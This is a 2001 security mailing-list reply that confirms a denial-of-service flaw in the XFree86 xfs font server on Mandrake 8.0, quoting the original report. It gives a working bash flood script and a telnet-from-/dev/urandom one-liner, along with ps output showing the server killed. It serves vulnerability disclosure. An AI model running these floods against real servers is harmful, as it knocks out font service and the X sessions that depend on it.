Re:XFree86-xfs-4.0.1-1 DoS

From: Mathias Dybvik (tmdybvikat_private)
Date: Sun Jun 10 2001 - 00:16:42 PDT

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    Confirmed, on Mandrake 8.0.
    
    I should, however, point out that I was only able to take down the 
    font-server as a local user, and not from a remote host. This could be a 
    bandwidth problem, caused by the fact that I only have a measly 10Mb/s 
    LAN.
    Then again, my urandom bandwidth is less than half of that, so I'm not 
    sure what gives...
    
    The moral of the story is that (at least) any local user can kill the xfs 
    process. This has dire consequences for any user either using X on that box, 
    or using an x-terminal relying on that fontserver.
    
    [user@userland ~]$ ps -ax|grep xfs
    9363 ?        S      0:00 xfs -port 7100 -daemon -user xfs
    9574 pts/1    S      0:00 grep xfs
    
    [user@userland ~]$./xfkill
    
    [user@userland ~]$ ps -ax|grep xfs
    9626 pts/1    S      0:00 grep xfs
    
    $cat xfkill
    [user@userland ~]$ cat xfkill
    #!/bin/bash
    XFSPORT=7100
    XFS_IP=192.168.1.254
    for ((COUNT=0;COUNT<500;COUNT=$COUNT+1)) do
    echo sending garbage to $XFSPORT pass $COUNT
    telnet $XFS_IP $XFSPORT </dev/urandom &>/dev/null
    done
    
    Version information:
    $ rpm -qi XFree86-xfs
    Name        : XFree86-xfs                  Relocations: (not relocateable)
    Version     : 4.0.3                             Vendor: MandrakeSoft
    Release     : 7mdk                          Build Date: Sun 08 Apr 2001 08
    Install date: Mon 23 Apr 2001 09:32:49 PM UTC      Build Host: bi.mandrake
    Group       : System/Servers                Source RPM: XFree86-4.0.3-7mdk
    Size        : 536213                           License: MIT
    Summary     : Font server for XFree86
    
    
    >>>>>>>>>>>>>>>>>>Original Message <<<<<<<<<<<<<<<<<<
    
    On 6/6/01, 2:31:49 PM, =?iso-8859-2?q?Jaros=B3aw=20Zachwieja?= <grokat_private> 
    wrote regarding XFree86-xfs-4.0.1-1 DoS:
    
    
    >Hello,
    
    >xfs from the package XFree86-xfs-4.0.1-1 (i386.rpm), RedHat 7.0 seems to
    >suffer from a Denial of Service attack.
    >To cause xfs to stop responding for requests, try to do the fillowing:
    
    >$ telnet victim xfs </dev/urandom
    
    >Repeat about 100 (or 1000) times and you get Connection refused message.
    
    >Regular Xservers can no longer connect, usually crash stating Could not 
    >open
    >default font 'fixed' and probably get disabled for 5 minutes if run from
    >inittab.
    
    >I'd appreciate any succesfull/unsuccesfull attemps of reproducing this
    >behaviour.
    
    >Regards,
    >--
    >Valentine M. Smith
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